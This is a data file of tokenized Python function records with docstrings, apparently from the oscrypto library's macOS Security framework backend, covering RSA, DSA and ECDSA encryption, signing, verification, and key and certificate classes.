{"signature": "def _encrypt(certificate_or_public_key, data, padding):", "body": "if not isinstance(certificate_or_public_key, (Certificate, PublicKey)):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(certificate_or_public_key)<EOL>))<EOL><DEDENT>if not isinstance(data, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(data)<EOL>))<EOL><DEDENT>if not padding:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>cf_data = None<EOL>sec_transform = None<EOL>try:<EOL><INDENT>cf_data = CFHelpers.cf_data_from_bytes(data)<EOL>error_pointer = new(CoreFoundation, '<STR_LIT>')<EOL>sec_transform = Security.SecEncryptTransformCreate(<EOL>certificate_or_public_key.sec_key_ref,<EOL>error_pointer<EOL>)<EOL>handle_cf_error(error_pointer)<EOL>if padding:<EOL><INDENT>Security.SecTransformSetAttribute(<EOL>sec_transform,<EOL>Security.kSecPaddingKey,<EOL>padding,<EOL>error_pointer<EOL>)<EOL>handle_cf_error(error_pointer)<EOL><DEDENT>Security.SecTransformSetAttribute(<EOL>sec_transform,<EOL>Security.kSecTransformInputAttributeName,<EOL>cf_data,<EOL>error_pointer<EOL>)<EOL>handle_cf_error(error_pointer)<EOL>ciphertext = Security.SecTransformExecute(sec_transform, error_pointer)<EOL>handle_cf_error(error_pointer)<EOL>return CFHelpers.cf_data_to_bytes(ciphertext)<EOL><DEDENT>finally:<EOL><INDENT>if cf_data:<EOL><INDENT>CoreFoundation.CFRelease(cf_data)<EOL><DEDENT>if sec_transform:<EOL><INDENT>CoreFoundation.CFRelease(sec_transform)<EOL><DEDENT><DEDENT>", "docstring": "Encrypts plaintext using an RSA public key or certificate\n\n:param certificate_or_public_key:\n    A Certificate or PublicKey object\n\n:param data:\n    The plaintext - a byte string\n\n:param padding:\n    The padding mode to use, specified as a kSecPadding*Key value\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the ciphertext", "id": "f9511:m12"}
{"signature": "def _decrypt(private_key, ciphertext, padding):", "body": "if not isinstance(private_key, PrivateKey):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(private_key)<EOL>))<EOL><DEDENT>if not isinstance(ciphertext, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(ciphertext)<EOL>))<EOL><DEDENT>if not padding:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>cf_data = None<EOL>sec_transform = None<EOL>try:<EOL><INDENT>cf_data = CFHelpers.cf_data_from_bytes(ciphertext)<EOL>error_pointer = new(CoreFoundation, '<STR_LIT>')<EOL>sec_transform = Security.SecDecryptTransformCreate(<EOL>private_key.sec_key_ref,<EOL>error_pointer<EOL>)<EOL>handle_cf_error(error_pointer)<EOL>Security.SecTransformSetAttribute(<EOL>sec_transform,<EOL>Security.kSecPaddingKey,<EOL>padding,<EOL>error_pointer<EOL>)<EOL>handle_cf_error(error_pointer)<EOL>Security.SecTransformSetAttribute(<EOL>sec_transform,<EOL>Security.kSecTransformInputAttributeName,<EOL>cf_data,<EOL>error_pointer<EOL>)<EOL>handle_cf_error(error_pointer)<EOL>plaintext = Security.SecTransformExecute(sec_transform, error_pointer)<EOL>handle_cf_error(error_pointer)<EOL>return CFHelpers.cf_data_to_bytes(plaintext)<EOL><DEDENT>finally:<EOL><INDENT>if cf_data:<EOL><INDENT>CoreFoundation.CFRelease(cf_data)<EOL><DEDENT>if sec_transform:<EOL><INDENT>CoreFoundation.CFRelease(sec_transform)<EOL><DEDENT><DEDENT>", "docstring": "Decrypts RSA ciphertext using a private key\n\n:param private_key:\n    A PrivateKey object\n\n:param ciphertext:\n    The ciphertext - a byte string\n\n:param padding:\n    The padding mode to use, specified as a kSecPadding*Key value\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the plaintext", "id": "f9511:m13"}
{"signature": "def rsa_pkcs1v15_verify(certificate_or_public_key, signature, data, hash_algorithm):", "body": "if certificate_or_public_key.algorithm != '<STR_LIT>':<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return _verify(certificate_or_public_key, signature, data, hash_algorithm)<EOL>", "docstring": "Verifies an RSASSA-PKCS-v1.5 signature.\n\nWhen the hash_algorithm is \"raw\", the operation is identical to RSA\npublic key decryption. That is: the data is not hashed and no ASN.1\nstructure with an algorithm identifier of the hash algorithm is placed in\nthe encrypted byte string.\n\n:param certificate_or_public_key:\n    A Certificate or PublicKey instance to verify the signature with\n\n:param signature:\n    A byte string of the signature to verify\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"md5\", \"sha1\", \"sha224\", \"sha256\", \"sha384\", \"sha512\" or \"raw\"\n\n:raises:\n    oscrypto.errors.SignatureError - when the signature is determined to be invalid\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library", "id": "f9511:m14"}
{"signature": "def rsa_pss_verify(certificate_or_public_key, signature, data, hash_algorithm):", "body": "if not isinstance(certificate_or_public_key, (Certificate, PublicKey)):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(certificate_or_public_key)<EOL>))<EOL><DEDENT>if not isinstance(data, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(data)<EOL>))<EOL><DEDENT>if certificate_or_public_key.algorithm != '<STR_LIT>':<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>hash_length = {<EOL>'<STR_LIT>': <NUM_LIT:20>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT:32>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT:64><EOL>}.get(hash_algorithm, <NUM_LIT:0>)<EOL>key_length = certificate_or_public_key.byte_size<EOL>buffer = buffer_from_bytes(key_length)<EOL>output_length = new(Security, '<STR_LIT>', key_length)<EOL>result = Security.SecKeyEncrypt(<EOL>certificate_or_public_key.sec_key_ref,<EOL>SecurityConst.kSecPaddingNone,<EOL>signature,<EOL>len(signature),<EOL>buffer,<EOL>output_length<EOL>)<EOL>handle_sec_error(result)<EOL>plaintext = bytes_from_buffer(buffer, deref(output_length))<EOL>if not verify_pss_padding(hash_algorithm, hash_length, certificate_or_public_key.bit_size, data, plaintext):<EOL><INDENT>raise SignatureError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Verifies an RSASSA-PSS signature. For the PSS padding the mask gen algorithm\nwill be mgf1 using the same hash algorithm as the signature. The salt length\nwith be the length of the hash algorithm, and the trailer field with be the\nstandard 0xBC byte.\n\n:param certificate_or_public_key:\n    A Certificate or PublicKey instance to verify the signature with\n\n:param signature:\n    A byte string of the signature to verify\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"md5\", \"sha1\", \"sha224\", \"sha256\", \"sha384\" or \"sha512\"\n\n:raises:\n    oscrypto.errors.SignatureError - when the signature is determined to be invalid\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library", "id": "f9511:m15"}
{"signature": "def dsa_verify(certificate_or_public_key, signature, data, hash_algorithm):", "body": "if certificate_or_public_key.algorithm != '<STR_LIT>':<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return _verify(certificate_or_public_key, signature, data, hash_algorithm)<EOL>", "docstring": "Verifies a DSA signature\n\n:param certificate_or_public_key:\n    A Certificate or PublicKey instance to verify the signature with\n\n:param signature:\n    A byte string of the signature to verify\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"md5\", \"sha1\", \"sha224\", \"sha256\", \"sha384\" or \"sha512\"\n\n:raises:\n    oscrypto.errors.SignatureError - when the signature is determined to be invalid\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library", "id": "f9511:m16"}
{"signature": "def ecdsa_verify(certificate_or_public_key, signature, data, hash_algorithm):", "body": "if certificate_or_public_key.algorithm != '<STR_LIT>':<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return _verify(certificate_or_public_key, signature, data, hash_algorithm)<EOL>", "docstring": "Verifies an ECDSA signature\n\n:param certificate_or_public_key:\n    A Certificate or PublicKey instance to verify the signature with\n\n:param signature:\n    A byte string of the signature to verify\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"md5\", \"sha1\", \"sha224\", \"sha256\", \"sha384\" or \"sha512\"\n\n:raises:\n    oscrypto.errors.SignatureError - when the signature is determined to be invalid\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library", "id": "f9511:m17"}
{"signature": "def _verify(certificate_or_public_key, signature, data, hash_algorithm):", "body": "if not isinstance(certificate_or_public_key, (Certificate, PublicKey)):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(certificate_or_public_key)<EOL>))<EOL><DEDENT>if not isinstance(signature, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(signature)<EOL>))<EOL><DEDENT>if not isinstance(data, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(data)<EOL>))<EOL><DEDENT>valid_hash_algorithms = set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>if certificate_or_public_key.algorithm == '<STR_LIT>':<EOL><INDENT>valid_hash_algorithms |= set(['<STR_LIT>'])<EOL><DEDENT>if hash_algorithm not in valid_hash_algorithms:<EOL><INDENT>valid_hash_algorithms_error = '<STR_LIT>'<EOL>if certificate_or_public_key.algorithm == '<STR_LIT>':<EOL><INDENT>valid_hash_algorithms_error += '<STR_LIT>'<EOL><DEDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>valid_hash_algorithms_error,<EOL>repr(hash_algorithm)<EOL>))<EOL><DEDENT>if certificate_or_public_key.algorithm == '<STR_LIT>' and hash_algorithm == '<STR_LIT>':<EOL><INDENT>if len(data) > certificate_or_public_key.byte_size - <NUM_LIT:11>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>certificate_or_public_key.byte_size,<EOL>len(data)<EOL>))<EOL><DEDENT>result = Security.SecKeyRawVerify(<EOL>certificate_or_public_key.sec_key_ref,<EOL>SecurityConst.kSecPaddingPKCS1,<EOL>data,<EOL>len(data),<EOL>signature,<EOL>len(signature)<EOL>)<EOL>if result == SecurityConst.errSecVerifyFailed or result == SecurityConst.errSSLCrypto:<EOL><INDENT>raise SignatureError('<STR_LIT>')<EOL><DEDENT>handle_sec_error(result)<EOL>return<EOL><DEDENT>cf_signature = None<EOL>cf_data = None<EOL>cf_hash_length = None<EOL>sec_transform = None<EOL>try:<EOL><INDENT>error_pointer = new(CoreFoundation, '<STR_LIT>')<EOL>cf_signature = CFHelpers.cf_data_from_bytes(signature)<EOL>sec_transform = Security.SecVerifyTransformCreate(<EOL>certificate_or_public_key.sec_key_ref,<EOL>cf_signature,<EOL>error_pointer<EOL>)<EOL>handle_cf_error(error_pointer)<EOL>hash_constant = {<EOL>'<STR_LIT>': Security.kSecDigestMD5,<EOL>'<STR_LIT>': Security.kSecDigestSHA1,<EOL>'<STR_LIT>': Security.kSecDigestSHA2,<EOL>'<STR_LIT>': Security.kSecDigestSHA2,<EOL>'<STR_LIT>': Security.kSecDigestSHA2,<EOL>'<STR_LIT>': Security.kSecDigestSHA2<EOL>}[hash_algorithm]<EOL>Security.SecTransformSetAttribute(<EOL>sec_transform,<EOL>Security.kSecDigestTypeAttribute,<EOL>hash_constant,<EOL>error_pointer<EOL>)<EOL>handle_cf_error(error_pointer)<EOL>if hash_algorithm in set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>hash_length = {<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT><EOL>}[hash_algorithm]<EOL>cf_hash_length = CFHelpers.cf_number_from_integer(hash_length)<EOL>Security.SecTransformSetAttribute(<EOL>sec_transform,<EOL>Security.kSecDigestLengthAttribute,<EOL>cf_hash_length,<EOL>error_pointer<EOL>)<EOL>handle_cf_error(error_pointer)<EOL><DEDENT>if certificate_or_public_key.algorithm == '<STR_LIT>':<EOL><INDENT>Security.SecTransformSetAttribute(<EOL>sec_transform,<EOL>Security.kSecPaddingKey,<EOL>Security.kSecPaddingPKCS1Key,<EOL>error_pointer<EOL>)<EOL>handle_cf_error(error_pointer)<EOL><DEDENT>cf_data = CFHelpers.cf_data_from_bytes(data)<EOL>Security.SecTransformSetAttribute(<EOL>sec_transform,<EOL>Security.kSecTransformInputAttributeName,<EOL>cf_data,<EOL>error_pointer<EOL>)<EOL>handle_cf_error(error_pointer)<EOL>res = Security.SecTransformExecute(sec_transform, error_pointer)<EOL>if not is_null(error_pointer):<EOL><INDENT>error = unwrap(error_pointer)<EOL>if not is_null(error):<EOL><INDENT>raise SignatureError('<STR_LIT>')<EOL><DEDENT><DEDENT>res = bool(CoreFoundation.CFBooleanGetValue(res))<EOL>if not res:<EOL><INDENT>raise SignatureError('<STR_LIT>')<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>if sec_transform:<EOL><INDENT>CoreFoundation.CFRelease(sec_transform)<EOL><DEDENT>if cf_signature:<EOL><INDENT>CoreFoundation.CFRelease(cf_signature)<EOL><DEDENT>if cf_data:<EOL><INDENT>CoreFoundation.CFRelease(cf_data)<EOL><DEDENT>if cf_hash_length:<EOL><INDENT>CoreFoundation.CFRelease(cf_hash_length)<EOL><DEDENT><DEDENT>", "docstring": "Verifies an RSA, DSA or ECDSA signature\n\n:param certificate_or_public_key:\n    A Certificate or PublicKey instance to verify the signature with\n\n:param signature:\n    A byte string of the signature to verify\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"md5\", \"sha1\", \"sha224\", \"sha256\", \"sha384\" or \"sha512\"\n\n:raises:\n    oscrypto.errors.SignatureError - when the signature is determined to be invalid\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library", "id": "f9511:m18"}
{"signature": "def rsa_pkcs1v15_sign(private_key, data, hash_algorithm):", "body": "if private_key.algorithm != '<STR_LIT>':<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return _sign(private_key, data, hash_algorithm)<EOL>", "docstring": "Generates an RSASSA-PKCS-v1.5 signature.\n\nWhen the hash_algorithm is \"raw\", the operation is identical to RSA\nprivate key encryption. That is: the data is not hashed and no ASN.1\nstructure with an algorithm identifier of the hash algorithm is placed in\nthe encrypted byte string.\n\n:param private_key:\n    The PrivateKey to generate the signature with\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"md5\", \"sha1\", \"sha224\", \"sha256\", \"sha384\",\n    \"sha512\" or \"raw\"\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the signature", "id": "f9511:m19"}
{"signature": "def rsa_pss_sign(private_key, data, hash_algorithm):", "body": "if not isinstance(private_key, PrivateKey):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(private_key)<EOL>))<EOL><DEDENT>if not isinstance(data, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(data)<EOL>))<EOL><DEDENT>if private_key.algorithm != '<STR_LIT>':<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>hash_length = {<EOL>'<STR_LIT>': <NUM_LIT:20>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT:32>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT:64><EOL>}.get(hash_algorithm, <NUM_LIT:0>)<EOL>encoded_data = add_pss_padding(hash_algorithm, hash_length, private_key.bit_size, data)<EOL>key_length = private_key.byte_size<EOL>buffer = buffer_from_bytes(key_length)<EOL>output_length = new(Security, '<STR_LIT>', key_length)<EOL>result = Security.SecKeyDecrypt(<EOL>private_key.sec_key_ref,<EOL>SecurityConst.kSecPaddingNone,<EOL>encoded_data,<EOL>len(encoded_data),<EOL>buffer,<EOL>output_length<EOL>)<EOL>handle_sec_error(result)<EOL>return bytes_from_buffer(buffer, deref(output_length))<EOL>", "docstring": "Generates an RSASSA-PSS signature. For the PSS padding the mask gen\nalgorithm will be mgf1 using the same hash algorithm as the signature. The\nsalt length with be the length of the hash algorithm, and the trailer field\nwith be the standard 0xBC byte.\n\n:param private_key:\n    The PrivateKey to generate the signature with\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"md5\", \"sha1\", \"sha224\", \"sha256\", \"sha384\" or\n    \"sha512\"\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the signature", "id": "f9511:m20"}
{"signature": "def dsa_sign(private_key, data, hash_algorithm):", "body": "if private_key.algorithm != '<STR_LIT>':<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return _sign(private_key, data, hash_algorithm)<EOL>", "docstring": "Generates a DSA signature\n\n:param private_key:\n    The PrivateKey to generate the signature with\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"md5\", \"sha1\", \"sha224\", \"sha256\", \"sha384\" or\n    \"sha512\"\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the signature", "id": "f9511:m21"}
{"signature": "def ecdsa_sign(private_key, data, hash_algorithm):", "body": "if private_key.algorithm != '<STR_LIT>':<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return _sign(private_key, data, hash_algorithm)<EOL>", "docstring": "Generates an ECDSA signature\n\n:param private_key:\n    The PrivateKey to generate the signature with\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"md5\", \"sha1\", \"sha224\", \"sha256\", \"sha384\" or\n    \"sha512\"\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the signature", "id": "f9511:m22"}
{"signature": "def _sign(private_key, data, hash_algorithm):", "body": "if not isinstance(private_key, PrivateKey):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(private_key)<EOL>))<EOL><DEDENT>if not isinstance(data, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(data)<EOL>))<EOL><DEDENT>valid_hash_algorithms = set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>if private_key.algorithm == '<STR_LIT>':<EOL><INDENT>valid_hash_algorithms |= set(['<STR_LIT>'])<EOL><DEDENT>if hash_algorithm not in valid_hash_algorithms:<EOL><INDENT>valid_hash_algorithms_error = '<STR_LIT>'<EOL>if private_key.algorithm == '<STR_LIT>':<EOL><INDENT>valid_hash_algorithms_error += '<STR_LIT>'<EOL><DEDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>valid_hash_algorithms_error,<EOL>repr(hash_algorithm)<EOL>))<EOL><DEDENT>if private_key.algorithm == '<STR_LIT>' and hash_algorithm == '<STR_LIT>':<EOL><INDENT>if len(data) > private_key.byte_size - <NUM_LIT:11>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>private_key.byte_size,<EOL>len(data)<EOL>))<EOL><DEDENT>key_length = private_key.byte_size<EOL>buffer = buffer_from_bytes(key_length)<EOL>output_length = new(Security, '<STR_LIT>', key_length)<EOL>result = Security.SecKeyRawSign(<EOL>private_key.sec_key_ref,<EOL>SecurityConst.kSecPaddingPKCS1,<EOL>data,<EOL>len(data),<EOL>buffer,<EOL>output_length<EOL>)<EOL>handle_sec_error(result)<EOL>return bytes_from_buffer(buffer, deref(output_length))<EOL><DEDENT>cf_signature = None<EOL>cf_data = None<EOL>cf_hash_length = None<EOL>sec_transform = None<EOL>try:<EOL><INDENT>error_pointer = new(CoreFoundation, '<STR_LIT>')<EOL>sec_transform = Security.SecSignTransformCreate(private_key.sec_key_ref, error_pointer)<EOL>handle_cf_error(error_pointer)<EOL>hash_constant = {<EOL>'<STR_LIT>': Security.kSecDigestMD5,<EOL>'<STR_LIT>': Security.kSecDigestSHA1,<EOL>'<STR_LIT>': Security.kSecDigestSHA2,<EOL>'<STR_LIT>': Security.kSecDigestSHA2,<EOL>'<STR_LIT>': Security.kSecDigestSHA2,<EOL>'<STR_LIT>': Security.kSecDigestSHA2<EOL>}[hash_algorithm]<EOL>Security.SecTransformSetAttribute(<EOL>sec_transform,<EOL>Security.kSecDigestTypeAttribute,<EOL>hash_constant,<EOL>error_pointer<EOL>)<EOL>handle_cf_error(error_pointer)<EOL>if hash_algorithm in set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>hash_length = {<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT><EOL>}[hash_algorithm]<EOL>cf_hash_length = CFHelpers.cf_number_from_integer(hash_length)<EOL>Security.SecTransformSetAttribute(<EOL>sec_transform,<EOL>Security.kSecDigestLengthAttribute,<EOL>cf_hash_length,<EOL>error_pointer<EOL>)<EOL>handle_cf_error(error_pointer)<EOL><DEDENT>if private_key.algorithm == '<STR_LIT>':<EOL><INDENT>Security.SecTransformSetAttribute(<EOL>sec_transform,<EOL>Security.kSecPaddingKey,<EOL>Security.kSecPaddingPKCS1Key,<EOL>error_pointer<EOL>)<EOL>handle_cf_error(error_pointer)<EOL><DEDENT>cf_data = CFHelpers.cf_data_from_bytes(data)<EOL>Security.SecTransformSetAttribute(<EOL>sec_transform,<EOL>Security.kSecTransformInputAttributeName,<EOL>cf_data,<EOL>error_pointer<EOL>)<EOL>handle_cf_error(error_pointer)<EOL>cf_signature = Security.SecTransformExecute(sec_transform, error_pointer)<EOL>handle_cf_error(error_pointer)<EOL>return CFHelpers.cf_data_to_bytes(cf_signature)<EOL><DEDENT>finally:<EOL><INDENT>if sec_transform:<EOL><INDENT>CoreFoundation.CFRelease(sec_transform)<EOL><DEDENT>if cf_signature:<EOL><INDENT>CoreFoundation.CFRelease(cf_signature)<EOL><DEDENT>if cf_data:<EOL><INDENT>CoreFoundation.CFRelease(cf_data)<EOL><DEDENT>if cf_hash_length:<EOL><INDENT>CoreFoundation.CFRelease(cf_hash_length)<EOL><DEDENT><DEDENT>", "docstring": "Generates an RSA, DSA or ECDSA signature\n\n:param private_key:\n    The PrivateKey to generate the signature with\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"md5\", \"sha1\", \"sha224\", \"sha256\", \"sha384\" or\n    \"sha512\"\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the signature", "id": "f9511:m23"}
{"signature": "def __init__(self, sec_key_ref, asn1):", "body": "self.sec_key_ref = sec_key_ref<EOL>self.asn1 = asn1<EOL>self._lib = CoreFoundation<EOL>", "docstring": ":param sec_key_ref:\n    A Security framework SecKeyRef value from loading/importing the\n    key\n\n:param asn1:\n    An asn1crypto.keys.PrivateKeyInfo object", "id": "f9511:c0:m0"}
{"signature": "@property<EOL><INDENT>def algorithm(self):<DEDENT>", "body": "return self.asn1.algorithm<EOL>", "docstring": ":return:\n    A unicode string of \"rsa\", \"dsa\" or \"ec\"", "id": "f9511:c0:m1"}
{"signature": "@property<EOL><INDENT>def curve(self):<DEDENT>", "body": "return self.asn1.curve[<NUM_LIT:1>]<EOL>", "docstring": ":return:\n    A unicode string of EC curve name", "id": "f9511:c0:m2"}
{"signature": "@property<EOL><INDENT>def bit_size(self):<DEDENT>", "body": "return self.asn1.bit_size<EOL>", "docstring": ":return:\n    The number of bits in the key, as an integer", "id": "f9511:c0:m3"}
{"signature": "@property<EOL><INDENT>def byte_size(self):<DEDENT>", "body": "return self.asn1.byte_size<EOL>", "docstring": ":return:\n    The number of bytes in the key, as an integer", "id": "f9511:c0:m4"}
{"signature": "def __init__(self, sec_key_ref, asn1):", "body": "PrivateKey.__init__(self, sec_key_ref, asn1)<EOL>", "docstring": ":param sec_key_ref:\n    A Security framework SecKeyRef value from loading/importing the\n    key\n\n:param asn1:\n    An asn1crypto.keys.PublicKeyInfo object", "id": "f9511:c1:m0"}
{"signature": "def __init__(self, sec_certificate_ref, asn1):", "body": "self.sec_certificate_ref = sec_certificate_ref<EOL>self.asn1 = asn1<EOL>", "docstring": ":param sec_certificate_ref:\n    A Security framework SecCertificateRef value from loading/importing\n    the certificate\n\n:param asn1:\n    An asn1crypto.x509.Certificate object", "id": "f9511:c2:m0"}
{"signature": "@property<EOL><INDENT>def algorithm(self):<DEDENT>", "body": "return self.public_key.algorithm<EOL>", "docstring": ":return:\n    A unicode string of \"rsa\", \"dsa\" or \"ec\"", "id": "f9511:c2:m1"}
{"signature": "@property<EOL><INDENT>def curve(self):<DEDENT>", "body": "return self.public_key.curve<EOL>", "docstring": ":return:\n    A unicode string of EC curve name", "id": "f9511:c2:m2"}
{"signature": "@property<EOL><INDENT>def bit_size(self):<DEDENT>", "body": "return self.public_key.bit_size<EOL>", "docstring": ":return:\n    The number of bits in the public key, as an integer", "id": "f9511:c2:m3"}
{"signature": "@property<EOL><INDENT>def byte_size(self):<DEDENT>", "body": "return self.public_key.byte_size<EOL>", "docstring": ":return:\n    The number of bytes in the public key, as an integer", "id": "f9511:c2:m4"}
{"signature": "@property<EOL><INDENT>def sec_key_ref(self):<DEDENT>", "body": "return self.public_key.sec_key_ref<EOL>", "docstring": ":return:\n    The SecKeyRef of the public key", "id": "f9511:c2:m5"}
{"signature": "@property<EOL><INDENT>def public_key(self):<DEDENT>", "body": "if not self._public_key and self.sec_certificate_ref:<EOL><INDENT>sec_public_key_ref_pointer = new(Security, '<STR_LIT>')<EOL>res = Security.SecCertificateCopyPublicKey(self.sec_certificate_ref, sec_public_key_ref_pointer)<EOL>handle_sec_error(res)<EOL>sec_public_key_ref = unwrap(sec_public_key_ref_pointer)<EOL>self._public_key = PublicKey(sec_public_key_ref, self.asn1['<STR_LIT>']['<STR_LIT>'])<EOL><DEDENT>return self._public_key<EOL>", "docstring": ":return:\n    The PublicKey object for the public key this certificate contains", "id": "f9511:c2:m6"}
{"signature": "@property<EOL><INDENT>def self_signed(self):<DEDENT>", "body": "if self._self_signed is None:<EOL><INDENT>self._self_signed = False<EOL>if self.asn1.self_signed in set(['<STR_LIT:yes>', '<STR_LIT>']):<EOL><INDENT>signature_algo = self.asn1['<STR_LIT>'].signature_algo<EOL>hash_algo = self.asn1['<STR_LIT>'].hash_algo<EOL>if signature_algo == '<STR_LIT>':<EOL><INDENT>verify_func = rsa_pkcs1v15_verify<EOL><DEDENT>elif signature_algo == '<STR_LIT>':<EOL><INDENT>verify_func = dsa_verify<EOL><DEDENT>elif signature_algo == '<STR_LIT>':<EOL><INDENT>verify_func = ecdsa_verify<EOL><DEDENT>else:<EOL><INDENT>raise OSError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>signature_algo<EOL>))<EOL><DEDENT>try:<EOL><INDENT>verify_func(<EOL>self.public_key,<EOL>self.asn1['<STR_LIT>'].native,<EOL>self.asn1['<STR_LIT>'].dump(),<EOL>hash_algo<EOL>)<EOL>self._self_signed = True<EOL><DEDENT>except (SignatureError):<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>return self._self_signed<EOL>", "docstring": ":return:\n    A boolean - if the certificate is self-signed", "id": "f9511:c2:m7"}
